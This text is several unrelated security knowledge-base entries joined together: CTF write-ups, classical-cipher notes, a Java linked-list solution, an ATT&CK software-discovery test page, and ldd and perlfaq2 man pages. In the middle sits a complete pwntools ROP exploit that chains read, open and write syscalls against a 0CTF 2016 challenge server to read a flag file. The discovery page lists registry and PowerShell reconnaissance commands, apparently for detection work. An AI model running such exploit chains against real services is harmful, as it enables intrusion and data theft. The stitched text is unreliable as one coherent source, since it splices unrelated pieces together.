Since the input data is random and the application works correctly every time, the final polynomials must have a "stale point" that match the expected final values.
Using a bit of math-foo we're then able to find the required input values:
```python
for0 = polynominal([0] + coeffs, expected, len(coeffs))
fore = (expected - for0) % 2**32
print(for0)
print polynominal([fore] + coeffs, expected, len(coeffs))
print(expected)
```
And get the flag:
`Xm4r1n_15_4bl3_70_6en3r4t3_N471v3_C0d3_w17h_VS_3n73rpr153_bu7_17_c0n741n5_D07_N3t_B1n4ry`
|
sec-knowleage
|
### 古典密码分析思路
CTF 中有关古典密码的题目,通常是根据密文求出明文,因此采用**唯密文攻击**居多,基本分析思路总结如下:
1. 确定密码类型:根据题目提示、加密方式、密文字符集、密文展现形式等信息。
2. 确定攻击方法:包括直接分析、蛮力攻击、统计分析等方法。对于无法确定类型的特殊密码,应根据其密码特性选用合适的攻击方法。
3. 确定分析工具:以在线密码分析工具与 Python 脚本工具包为主,以离线密码分析工具与手工分析为辅。
以上唯密文攻击方法的适用场景与举例如下:
| 攻击方法 | 适用场景 | 举例 |
| ---------- | ---------------------------------- | -------------------------------------- |
| 直接分析法 | 由密码类型可确定映射关系的代换密码 | 凯撒密码、猪圈密码、键盘密码等 |
| 蛮力攻击法 | 密钥空间较小的代换密码或置换密码 | 移位密码、栅栏密码等 |
| 统计分析法 | 密钥空间较大的代换密码 | 简单替换密码、仿射密码、维吉尼亚密码等 |
|
sec-knowleage
|
# 18.2 删除链表中重复的结点
[牛客网](https://www.nowcoder.com/practice/fc533c45b73a41b0b44ccba763f866ef?tpId=13&tqId=11209&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github)
## 题目描述
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/17e301df-52e8-4886-b593-841a16d13e44.png" width="450"/> </div><br>
## 解题描述
```java
public ListNode deleteDuplication(ListNode pHead) {
if (pHead == null || pHead.next == null)
return pHead;
ListNode next = pHead.next;
if (pHead.val == next.val) {
while (next != null && pHead.val == next.val)
next = next.next;
return deleteDuplication(next);
} else {
pHead.next = deleteDuplication(pHead.next);
return pHead;
}
}
```
|
sec-knowleage
|
#!/usr/bin/python2
from cStringIO import StringIO
from pwn import *
def attack(connection):
pathname = "/home/warmup/flag\x00"
buffer = StringIO()
buffer.write(p32(0x0804811d)) # sys_read
buffer.write(p32(0x080481b8)) # add esp, 0x30 ; ret
buffer.write(p32(0)) # fd
buffer.write(p32(0x08049000)) # buffer
buffer.write(p32(len(pathname))) # size
buffer.write("A" * 0x24)
buffer.write(p32(0x08048135)) # sys_write
buffer.write(p32(0x080481b8)) # add esp, 0x30 ; ret
buffer.write(p32(1)) # fd
buffer.write(p32(0x08049000)) # buffer
buffer.write(p32(constants.linux.i386.SYS_open)) # size
buffer.write("A" * 0x24)
buffer.write(p32(0x08048122)) # syscall
buffer.write(p32(0x080481b8)) # add esp, 0x30 ; ret
buffer.write(p32(0x08049000)) # pathname
buffer.write(p32(constants.linux.O_RDONLY)) # flags
buffer.write(p32(0))
buffer.write("A" * 0x24)
buffer.write(p32(0x0804811d)) # sys_read
buffer.write(p32(0x080481b8)) # add esp, 0x30 ; ret
buffer.write(p32(3)) # fd
buffer.write(p32(0x08049000)) # buffer
buffer.write(p32(0x100)) # size
buffer.write("A" * 0x24)
buffer.write(p32(0x08048135)) # sys_write
buffer.write(p32(0x0804814d)) # sys_exit
buffer.write(p32(1)) # fd
buffer.write(p32(0x08049000)) # buffer
buffer.write(p32(0x100)) # size
exploit = buffer.getvalue()
for offset in reversed(range(4, len(exploit), 0x10)):
connection.recvuntil("Welcome to 0CTF 2016!\n")
buffer = StringIO()
buffer.write("A" * 0x20)
if offset == 4:
buffer.write(exploit[: offset + 0x10])
else:
buffer.write(p32(0x080480d8)) # start
buffer.write(exploit[offset: offset + 0x10])
padding = 0x34 - buffer.tell()
buffer.write("B" * padding)
connection.send(buffer.getvalue())
connection.send(pathname)
leak = connection.recvall()
print leak.encode("string_escape")
context.log_level = "debug"
with remote("202.120.7.207", 52608) as connection:
#ith process(["strace", "-i", "-o", "log", "./warmup"]) as connection:
attack(connection)
|
sec-knowleage
|
# Matrix CTF 2021 - אתגר מטריקס 2021
Writeups for the [2021 Matrix CTF](https://ctf.matrixcyberlabs.com/).
Solved with zVaz and YaakovC.
We solved the challenges third, congratulations to Canlex who solved them first and unblvr who solved them second.
Additional resources (including other writeups) can be found [here](https://github.com/Dvd848/CTFs/discussions/14).
|
sec-knowleage
|
# T1518-win-发现安全软件
## 来自ATT&CK的描述
攻击者可能会试图获取安装在系统或云环境中的软件和软件版本的清单。攻击者可能会在自动发现过程中使用来自[软件发现](https://attack.mitre.org/techniques/T1518)的信息来制定后续行为,包括攻击者是否完全获得目标权限或尝试特定攻击手法。
攻击者可能出于各种原因试图列举软件,例如弄清有哪些安全措施,或者被攻击的系统是否有容易被利用来进行特权升级的软件版本。
## 测试案例
### 测试1 Find and Display Internet Explorer Browser Version
查询注册表以确定系统上安装的Internet explorer的版本。执行后,将显示关于Internet explorer的版本信息。
测试命令,使用Windows命令行(CMD):
```
reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer" /v svcVersion
```
### 测试2 Applications Installed
查询注册表以确定系统上安装的软件和版本。执行时,将显示一个软件名称和版本信息表。
测试命令,使用Windows powershell:
```
Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize
Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize
```
### 测试3 Find and Display Safari Browser Version
查找和显示Safari浏览器版本
攻击者可能试图获得安装在系统上的非安全相关软件的清单。在自动发现过程中,攻击者可能会使用来自软件发现的信息来确定后续的行为。
测试命令,使用MAC_sh执行:
```
/usr/libexec/PlistBuddy -c "print :CFBundleShortVersionString" /Applications/Safari.app/Contents/Info.plist
/usr/libexec/PlistBuddy -c "print :CFBundleVersion" /Applications/Safari.app/Contents/Info.plist
```
## 检测日志
windows sysmon日志
Mac0S_history
## 测试复现
### 测试1 Find and Display Internet Explorer Browser Version
```
C:\Users\Administrator.ZHULI>reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer" /v svcVersion
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer
svcVersion REG_SZ 11.973.17763.0
```
### 测试2 Applications Installed
```
PS C:\Users\Administrator.ZHULI> Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize
DisplayName DisplayVersion Publisher InstallDate
----------- -------------- --------- -----------
Parallels Tools 17.1.1.51537 Parallels International GmbH 20220107
UniversalForwarder 8.2.2.0 Splunk, Inc. 20220107
PS C:\Users\Administrator.ZHULI> Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize
DisplayName DisplayVersion Publisher InstallDate
----------- -------------- --------- -----------
```
### 测试3 Find and Display Safari Browser Version
```
br0deMacBook-Pro:~ br0$ /usr/libexec/PlistBuddy -c "print :CFBundleShortVersionString" /Applications/Safari.app/Contents/Info.plist
15.1
br0deMacBook-Pro:~ br0$ /usr/libexec/PlistBuddy -c "print :CFBundleVersion" /Applications/Safari.app/Contents/Info.plist
17612.2.9.1.20
```
## 测试留痕
### 测试1 Find and Display Internet Explorer Browser Version
```
Process Create:
RuleName: technique_id=T1112,technique_name=Modify Registry
UtcTime: 2022-01-11 12:20:15.391
ProcessGuid: {78c84c47-75ff-61dd-7726-000000000800}
ProcessId: 5740
Image: C:\Windows\System32\reg.exe
FileVersion: 10.0.17763.1 (WinBuild.160101.0800)
Description: Registry Console Tool
Product: Microsoft® Operating System
Company: Microsoft Corporation
OriginalFileName: reg.exe
CommandLine: reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer" /v svcVersion
CurrentDirectory: C:\Users\Administrator.ZHULI\
User: ZHULI\Administrator
LogonGuid: {78c84c47-f665-61db-95da-440100000000}
LogonId: 0x144DA95
TerminalSessionId: 3
IntegrityLevel: High
Hashes: SHA1=429DF8371B437209D79DC97978C33157D1A71C4B,MD5=8A93ACAC33151793F8D52000071C0B06,SHA256=19316D4266D0B776D9B2A05D5903D8CBC8F0EA1520E9C2A7E6D5960B6FA4DCAF,IMPHASH=BE482BE427FE212CFEF2CDA0E61F19AC
ParentProcessGuid: {78c84c47-75fc-61dd-7526-000000000800}
ParentProcessId: 7428
ParentImage: C:\Windows\System32\cmd.exe
ParentCommandLine: "C:\Windows\system32\cmd.exe"
ParentUser: ZHULI\Administrator
```
### 测试2 Applications Installed
无,实际环境下,开启Windows Powershell日志,可记录相关行为。
### 测试3 Find and Display Safari Browser Version
```
196 /usr/libexec/PlistBuddy -c "print :CFBundleShortVersionString" /Applications/Safari.app/Contents/Info.plist
197 /usr/libexec/PlistBuddy -c "print :CFBundleVersion" /Applications/Safari.app/Contents/Info.plist
198 history
```
## 检测规则/思路
### 建议
系统和网络发现技术通常发生在整个行动中,因为攻击者会了解环境。不应孤立地看待数据和事件,而应将其视为一连串行为的一部分,根据所获得的信息可能导致其他活动,如横向移动。
监测进程和命令行参数,以了解可能采取的行动,收集系统和网络信息。具有内置功能的远程访问工具可以直接与Windows API互动,用以收集信息。也可以通过Windows系统管理工具,如WMI和PowerShell获得信息。
## 相关TIP
[[T1518-001-win-安全软件发现]]
[[T1557-002-linux-ARP网络嗅探]]
## 参考推荐
MITRE-ATT&CK-T1518
<https://attack.mitre.org/techniques/T1518/>
Atomic-red-team-T1518
<https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1518/T1518.md>
|
sec-knowleage
|
ldd
===
打印程序或者库文件所依赖的共享库列表
## 补充说明
**ldd命令** 用于打印程序或者库文件所依赖的共享库列表。
### 语法
```shell
ldd(选项)(参数)
```
### 选项
```shell
--version:打印指令版本号;
-v:详细信息模式,打印所有相关信息;
-u:打印未使用的直接依赖;
-d:执行重定位和报告任何丢失的对象;
-r:执行数据对象和函数的重定位,并且报告任何丢失的对象和函数;
--help:显示帮助信息。
```
### 参数
文件:指定可执行程序或者文库。
### 其他介绍
首先ldd不是一个可执行程序,而只是一个shell脚本
ldd能够显示可执行模块的dependency,其原理是通过设置一系列的环境变量,如下:`LD_TRACE_LOADED_OBJECTS、LD_WARN、LD_BIND_NOW、LD_LIBRARY_VERSION、LD_VERBOSE`等。当`LD_TRACE_LOADED_OBJECTS`环境变量不为空时,任何可执行程序在运行时,它都会只显示模块的dependency,而程序并不真正执行。要不你可以在shell终端测试一下,如下:
```shell
export LD_TRACE_LOADED_OBJECTS=1
```
再执行任何的程序,如ls等,看看程序的运行结果。
ldd显示可执行模块的dependency的工作原理,其实质是通过ld-linux.so(elf动态库的装载器)来实现的。我们知道,ld-linux.so模块会先于executable模块程序工作,并获得控制权,因此当上述的那些环境变量被设置时,ld-linux.so选择了显示可执行模块的dependency。
实际上可以直接执行ld-linux.so模块,如:`/lib/ld-linux.so.2 --list program`(这相当于ldd program)
|
sec-knowleage
|
# COBOL (RE, 485p, 10 solved)
In the task we get an old [IBM SAVF file](EKO.SAVF).
Unlike last year, where we could just load it to some online tools, this time the file was corrupted.
We quickly had a look around at the file contents, decoded from ebcdic string encoding, but the flag string seemed permutated, so we guessed we actually have to recover the binary and reverse it.
This was a huge mistake.
We wasted quite some time trying to fix this file, which had some checksum failures.
After a while we tried one more time to look at the strings:
```python
import codecs
import ebcdic
def decode():
with codecs.open("EKO.SAVF", 'rb') as input_file:
print(input_file.read().decode('cp1148'))
```
We can see there a nice section:
```
YOU ARE RIGHTWE}m_A4rREg0_RrpUN+0NI04NGsa_O+7UT3313F_+rGO3hODt0_In4DE{OASKE NOPE], YOUR SECRET IS WRONG]
```
And from this we guess that the part:
```
}m_A4rREg0_RrpUN+0NI04NGsa_O+7UT3313F_+rGO3hODt0_In4DE{OASKE
```
Is the mangled flag.
It's clear it's inverted, so we invert it back:
```
EKSAO{ED4nI_0tDOh3OGr+_F3133TU7+O_asGN40IN0+NUprR_0gERr4A_m}
```
We know that the flag starts with `EKO{` so we need to take 2 characters, remove next 2, and again take 2.
We guessed we will check what happens if we proceed like this:
```
EKO{4n0th3r+31TUO_GNINNUR_ERA_EW
```
And inverted:
```
WE_ARE_RUNNING_OUT13+r3ht0n4{OKE
```
So we're on a good track, and we have first half of the flag.
Since the second half is also not random, we decided to do our take-2-leave-2, but with offset of 2:
```
SAEDI_DOOG_F337+as400+pr0gr4m}
}m4rg0rp+004sa+733F_GOOD_IDEAS
```
This way we get a second half of the flag and rest of the message blended in:
```
EKO{4n0th3r+31337+as400+pr0gr4m}
WE_ARE_RUNNING_OUTF_GOOD_IDEAS
```
As can is noticable now, we could have just removed all uppercase and `_` characters from the initial string to get the flag as well.
|
sec-knowleage
|
.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.14
.\"
.\" Standard preamble:
.\" ========================================================================
.de Sh \" Subsection heading
.br
.if t .Sp
.ne 5
.PP
\fB\\$1\fR
.PP
..
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Vb \" Begin verbatim text
.ft CW
.nf
.ne \\$1
..
.de Ve \" End verbatim text
.ft R
.fi
..
.\" Set up some character translations and predefined strings. \*(-- will
.\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left
.\" double quote, and \*(R" will give a right double quote. | will give a
.\" real vertical bar. \*(C+ will give a nicer C++. Capital omega is used to
.\" do unbreakable dashes and therefore won't be available. \*(C` and \*(C'
.\" expand to `' in nroff, nothing in troff, for use with C<>.
.tr \(*W-|\(bv\*(Tr
.ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p'
.ie n \{\
. ds -- \(*W-
. ds PI pi
. if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch
. if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\" diablo 12 pitch
. ds L" ""
. ds R" ""
. ds C` ""
. ds C' ""
'br\}
.el\{\
. ds -- \|\(em\|
. ds PI \(*p
. ds L" ``
. ds R" ''
'br\}
.\"
.\" If the F register is turned on, we'll generate index entries on stderr for
.\" titles (.TH), headers (.SH), subsections (.Sh), items (.Ip), and index
.\" entries marked with X<> in POD. Of course, you'll have to process the
.\" output yourself in some meaningful fashion.
.if \nF \{\
. de IX
. tm Index:\\$1\t\\n%\t"\\$2"
..
. nr % 0
. rr F
.\}
.\"
.\" For nroff, turn off justification. Always turn off hyphenation; it makes
.\" way too many mistakes in technical documents.
.hy 0
.if n .na
.\"
.\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2).
.\" Fear. Run. Save yourself. No user-serviceable parts.
. \" fudge factors for nroff and troff
.if n \{\
. ds #H 0
. ds #V .8m
. ds #F .3m
. ds #[ \f1
. ds #] \fP
.\}
.if t \{\
. ds #H ((1u-(\\\\n(.fu%2u))*.13m)
. ds #V .6m
. ds #F 0
. ds #[ \&
. ds #] \&
.\}
. \" simple accents for nroff and troff
.if n \{\
. ds ' \&
. ds ` \&
. ds ^ \&
. ds , \&
. ds ~ ~
. ds /
.\}
.if t \{\
. ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u"
. ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u'
. ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u'
. ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u'
. ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u'
. ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u'
.\}
. \" troff and (daisy-wheel) nroff accents
.ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V'
.ds 8 \h'\*(#H'\(*b\h'-\*(#H'
.ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#]
.ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H'
.ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u'
.ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#]
.ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#]
.ds ae a\h'-(\w'a'u*4/10)'e
.ds Ae A\h'-(\w'A'u*4/10)'E
. \" corrections for vroff
.if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u'
.if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u'
. \" for low resolution devices (crt and lpr)
.if \n(.H>23 .if \n(.V>19 \
\{\
. ds : e
. ds 8 ss
. ds o a
. ds d- d\h'-1'\(ga
. ds D- D\h'-1'\(hy
. ds th \o'bp'
. ds Th \o'LP'
. ds ae ae
. ds Ae AE
.\}
.rm #[ #] #H #V #F C
.\" ========================================================================
.\"
.IX Title "PERLFAQ2 1"
.TH PERLFAQ2 7 "2003-11-25" "perl v5.8.3" "Perl Programmers Reference Guide"
.SH "NAME"
perlfaq2 \- 获取和学习 Perl (2003/10/16 04:57:38)
.SH "DESCRIPTION 描述"
.IX Header "DESCRIPTION"
从哪里寻找 Perl 的源程序和文档,支持以及相关事项
.Sh "哪些平台上有 Perl?要到哪里去找?"
.IX Subsection "What machines support Perl? Where do I get it?"
Perl的标准发行版(由 perl发展小组负责维护)仅以原始码形式发行。您可在 http://www.perl.com/CPAN/src/latest.tar.gz处取得。这个档案的格式是 POSIX tar档案柜,再以 gzip格式压缩。
.PP
Perl 可以在难以记数的平台上运行。几乎所有已知的 Unix 衍生版本都被支持 (Perl 的本地平台),还有其他操作系统平台,类似 \s-1VMS\s0, \s-1DOS\s0, \s-1OS/2\s0, Windows,
\&\s-1QNX\s0, BeOS, \s-1OS\s0 X, MPE/iX 和 Amiga.
.PP
为专有平台准备的二进制发行版,包括 Apple,可以从 http://www.cpan.org/ports/ 找到。因为它们不是标准发行的一部分,它们可能(事实上的确)和基本的 Perl有多方面的不同。要确切知道到底哪些地方不同,您得自行查阅它们各自的发行说明。这些差异可能是正面的(譬如它们可能附有一些原始码发行的 perl所没有的延伸,提供专属某一平台的特殊功能),亦或负面的(例如它们可能是植基於比较老旧的 Perl原始码发行 版)。
.Sh "要如何取得以二进制形式发行的 Perl?"
.IX Subsection "How can I get a binary version of Perl?"
不管为什麽您的作业系统业者没有将 C编译器附在所卖的作业系统中,最好的方法是到网路上去抓一份 gcc的执行档,然後用它来编译 perl 。 CPAN 上所放的 gcc执行档仅专门提供几个特别难拿到免费编译器的平台,而不是给任何 Unix系 统的。
.PP
一些 URLs 可能有用:
.PP
.Vb 2
\& http://www.cpan.org/ports/
\& http://www.perl.com/pub/language/info/software.html
.Ve
.PP
Someone looking for a Perl for Win16 might look to Laszlo Molnar's djgpp
port in http://www.cpan.org/ports/#msdos , which comes with clear
installation instructions. A simple installation guide for MS-DOS using
Ilya Zakharevich's \s-1OS/2\s0 port is available at
http://www.cs.ruu.nl/%7Epiet/perl5dos.html
and similarly for Windows 3.1 at http://www.cs.ruu.nl/%7Epiet/perlwin3.html .
.Sh "我的系统里没有 C编译器。要如何编译 perl?"
.IX Subsection "I don't have a C compiler on my system. How can I compile perl?"
因为您没有 C 编译器,您是没指望了,而您的经销商则该拿去当作祭拜 Sun god 的供品。不过说这些风凉话无济於事。
.PP
您首先需要做的是替您的系统找一个 gcc的执行档。参阅和您的作业系统相关的 各 Usenet FAQs,看到哪里可以找到这种作业系统的 gcc执行档 。
.Sh "我直接将 Perl的执行档从一台机器上复制到另一台机器上,但是程式跑不起来。"
.IX Subsection "I copied the Perl binary from one machine to another, but scripts don't work."
那大概是您忘了复制程式库,或者是程式库的路径不同的关系。您真的应该在那台要安装 perl的机器上将整套发行从头编译,然後打 make install来安装。其他的方法大多注定要失败。
.PP
有一个简单的方法可用来检查和确定东西有没有装对地方 --把编入 perl的 @INC阵列(perl用它来寻找程式库的路径)印出:
.PP
.Vb 1
\& % perl -le 'print for @INC'
.Ve
.PP
如果这个指令列出了任何在您系统上不存在的路径,那麽您或许得将适当的程式库移到这些地方,或者制做适当的 symlinks、aliases 或捷径。\f(CW@INC\fR 也作为命令
.PP
.Vb 1
\& % perl -V
.Ve
.PP
的输出。你也许会想看看
\&\*(L"How do I keep my own module/library directory?\*(R" in perlfaq8.
.Sh "我抓回了原始码,试着编译 perl,但是 gdbm/dynamic loading/malloc/linking/...部分失败。要如何将它搞定?"
.IX Subsection "I grabbed the sources and tried to compile but gdbm/dynamic loading/malloc/linking/... failed. How do I make it work?"
细读 INSTALL这个档案,这是原始码发行版里面的一个档案。有时候自动设定程式 (Configure) 对某些较不寻常的系统、平台特质、或变异会不知所措。该档案对该如何处这类的问题,大都有详细的说明。
.Sh "Perl有哪些模组和延伸? CPAN是什麽? CPAN/src/...又代表什麽?"
.IX Subsection "What modules and extensions are available for Perl? What is CPAN? What does CPAN/src/... mean?"
CPAN代表的是「大 Perl档案库网络」(Comprehensive Perl Archive Network),一个在全世界近200台机器之间相互映射的巨大档案库。CPAN包含了原始码、对各非原生系统的移植、使用说明、程式,以及许多由第叁类团体所写的模组和延伸,从各商业品牌的资料库介面、到键盘/萤幕控制,乃至全球资讯网漫游及 CGI程式皆一应具全。CPAN的总主机是http://www.cpan.org/ ,但您也可以透过这个位址: http://www.cpan.org/CPAN.html 来自动连接一个在地理位置上最接近您的站。至於这个设计的运作原理,请看 http://www.perl.com/CPAN(最後头没有斜线)的说明。同时,http://mirror.cpan.org/ 也提供了 http://www.cpan.org/MIRRORED 的方便的界面
.PP
参见 \s-1CPAN\s0 \s-1FAQ\s0 位于 http://www.cpan.org/misc/cpan\-faq.html 来获得有关 \s-1CPAN\s0 的 FAQ,包括如何成为一个镜像站
.PP
CPAN/path/... 是 CPAN站台上头的档案的命名规范。CPAN 代表一个 CPAN映射的基准目录,然後其馀的路径是由该目录到一个档案的路径。例如,如果您使用 ftp://ftp.funet.fi/pub/languages/perl/CPAN 来做您的 CPAN 站,那麽 CPAN/misc/japh这个档案便可以从 ftp://ftp.funet.fi/pub/languages/perl/CPAN/misc/japh 下载到
.PP
由於目前 CPAN档案库中已经有近两千个模组,因此几乎任何您所能想到的用途,大概都已经有现成的模组可以办到。目前在 CPAN/modules/by-category/ 底下的类 别包括了 perl核心模组、协助发展模组、作业系统介面、网路、周边设备、不同 processes间之沟通、资料型态工具、资料库介面、使用者介面、与其他语言介面、档名、档案系统、档案锁定、软体国际化及地方化、全球资讯网支援、伺服软体工具、档案库和档案压缩、图形变换处理、电子邮件及新闻讨论群、程式流程控制工具、filehandles和输入/输出、微软视窗模组,以及杂项模组 等。
.PP
参见 http://www.cpan.org/modules/00modlist.long.html 或 http://search.cpan.org/ 来阅读分类的模块完整列表。
.PP
\&\s-1CPAN\s0 不是 O'Reilly and Associates 的附属品.
.Sh "是不是有一个经 ISO【国际标准局】或 ANSI【美国国家标准局】认可的 Perl版本?"
.IX Subsection "Is there an ISO or ANSI certified version of Perl?"
当然没有。Larry认为他得先被认可後然後才会轮到 Perl 。
.Sh "Perl的相关资料要上哪儿找?"
.IX Subsection "Where can I get information on Perl?"
perl的发行版中都附有完整的使用说明中。如果 perl已安装在您的机器上,那麽使用说明应该也已经装在上头了:如果您用的是一个像 Unix的系统,您可以打 man perl。这同时会带领您到其他重要的使用说明页。如果您用的不是 Unix 式的系统,那麽查阅使用说明的方法会有所不同;譬如说,使用说明可能会以HTML 格式来存放。不管怎麽样,只要 perl正确地安装,查阅使用说明应该不成问题。
.PP
如果您的系统没有 man这个指令,或者是该指令安装不当,那麽您可以试试 perldoc perl。如果还不成,您可以在 /usr/local/lib/perl5/pod这个目录 下找使用说明。
.PP
如果以上的方法全失败,那麽您可求助於 http://perldoc.cpan.org/ 或 http://www.perldoc.com/ 都提供了完整的 html 格式的帮助
.PP
面上有许多本和 Perl有关的好书,详情请见下面一节的介绍。
.PP
Tutorial documents are included in current or upcoming Perl releases
include perltoot for objects or perlboot for a beginner's
approach to objects, perlopentut for file opening semantics,
perlreftut for managing references, perlretut for regular
expressions, perlthrtut for threads, perldebtut for debugging,
and perlxstut for linking C and Perl together. There may be more
by the time you read this. The following URLs might also be of
assistance:
.PP
.Vb 3
\& http://perldoc.cpan.org/
\& http://www.perldoc.com/
\& http://bookmarks.cpan.org/search.cgi?cat=Training%2FTutorials
.Ve
.Sh "USENET上有哪些专门讨论 Perl的新闻讨论群?问题该投到哪里?"
.IX Subsection "What are the Perl newsgroups on Usenet? Where do I post questions?"
Usenet 中有多个新闻组与 Perl 语言相关:
.PP
.Vb 5
\& comp.lang.perl.announce Moderated announcement group
\& comp.lang.perl.misc High traffic general Perl discussion
\& comp.lang.perl.moderated Moderated discussion group
\& comp.lang.perl.modules Use and development of Perl modules
\& comp.lang.perl.tk Using Tk (and X) from Perl
.Ve
.PP
.Vb 1
\& comp.infosystems.www.authoring.cgi Writing CGI scripts for the Web.
.Ve
.PP
Some years ago, comp.lang.perl was divided into those groups, and
comp.lang.perl itself officially removed. While that group may still
be found on some news servers, it is unwise to use it, because
postings there will not appear on news servers which honour the
official list of group names. Use comp.lang.perl.misc for topics
which do not have a more-appropriate specific group.
.PP
There is also a Usenet gateway to Perl mailing lists sponsored by
perl.org at nntp://nntp.perl.org , a web interface to the same lists
at http://nntp.perl.org/group/ and these lists are also available
under the \f(CW\*(C`perl.*\*(C'\fR hierarchy at http://groups.google.com . Other
groups are listed at http://lists.perl.org/ ( also known as
http://lists.cpan.org/ ).
.PP
A nice place to ask questions is the PerlMonks site,
http://www.perlmonks.org/ , or the Perl Beginners mailing list
http://lists.perl.org/showlist.cgi?name=beginners .
.PP
Note that none of the above are supposed to write your code for you:
asking questions about particular problems or general advice is fine,
but asking someone to write your code for free is not very cool.
.Sh "如果我想投程式原始码,该投到哪个板子上?"
.IX Subsection "Where should I post source code?"
您应看程式的性质来决定该丢到哪个板子上,但也欢迎您交叉投递一份到 comp.lang.perl.misc上头去。如果您打算交叉投递到 alt.sources 的话,请务必遵照该板所规定的标准,包括标头的 Followup-To 栏不可将 alt.sources 列入; 详见该板的 FAQ 。
.PP
If you're just looking for software, first use Google
( http://www.google.com ), Google's usenet search interface
( http://groups.google.com ), and \s-1CPAN\s0 Search ( http://search.cpan.org ).
This is faster and more productive than just posting a request.
.Sh "Perl 书籍"
.IX Subsection "Perl Books"
市面上有许多有关 Perl 和/或 CGI程式设计的书。其中有些很好,有些还过得去,但也有不少根本不值得买。大部分的 Perl书都列在 Tom Christiansen 所维护的列表中,其中一些有详细的评论,位于 http://www.perl.com/perl/critiques/index.html .
.PP
毫无争议地,最权威的 Perl参考书要数以下这本,由 Perl的创始者著作,现在是第三版 (July 2000):
.PP
.Vb 5
\& Programming Perl (the "Camel Book"):
\& by Larry Wall, Tom Christiansen, and Jon Orwant
\& 0-596-00027-8 [3rd edition July 2000]
\& http://www.oreilly.com/catalog/pperl3/
\& (English, translations to several languages are also available)
.Ve
.PP
The companion volume to the Camel containing thousands
of real-world examples, mini\-tutorials, and complete programs is:
.PP
.Vb 5
\& The Perl Cookbook (the "Ram Book"):
\& by Tom Christiansen and Nathan Torkington,
\& with Foreword by Larry Wall
\& ISBN 1-56592-243-3 [1st Edition August 1998]
\& http://perl.oreilly.com/catalog/cookbook/
.Ve
.PP
If you're already a seasoned programmer, then the Camel Book might
suffice for you to learn Perl from. If you're not, check out the
Llama book:
.PP
.Vb 4
\& Learning Perl (the "Llama Book")
\& by Randal L. Schwartz and Tom Phoenix
\& ISBN 0-596-00132-0 [3rd edition July 2001]
\& http://www.oreilly.com/catalog/lperl3/
.Ve
.PP
And for more advanced information on writing larger programs,
presented in the same style as the Llama book, continue your education
with the Alpaca book:
.PP
.Vb 4
\& Learning Perl Objects, References, and Modules (the "Alpaca Book")
\& by Randal L. Schwartz, with Tom Phoenix (foreword by Damian Conway)
\& ISBN 0-596-00478-8 [1st edition June 2003]
\& http://www.oreilly.com/catalog/lrnperlorm/
.Ve
.PP
If you're not an accidental programmer, but a more serious and
possibly even degreed computer scientist who doesn't need as much
hand-holding as we try to provide in the Llama, please check out the
delightful book
.PP
.Vb 5
\& Perl: The Programmer's Companion
\& by Nigel Chapman
\& ISBN 0-471-97563-X [1997, 3rd printing Spring 1998]
\& http://www.wiley.com/compbooks/catalog/97563-X.htm
\& http://www.wiley.com/compbooks/chapman/perl/perltpc.html (errata etc)
.Ve
.PP
If you are more at home in Windows the following is available
(though unfortunately rather dated).
.PP
.Vb 5
\& Learning Perl on Win32 Systems (the "Gecko Book")
\& by Randal L. Schwartz, Erik Olson, and Tom Christiansen,
\& with foreword by Larry Wall
\& ISBN 1-56592-324-3 [1st edition August 1997]
\& http://www.oreilly.com/catalog/lperlwin/
.Ve
.PP
Addison-Wesley ( http://www.awlonline.com/ ) and Manning
( http://www.manning.com/ ) are also publishers of some fine Perl books
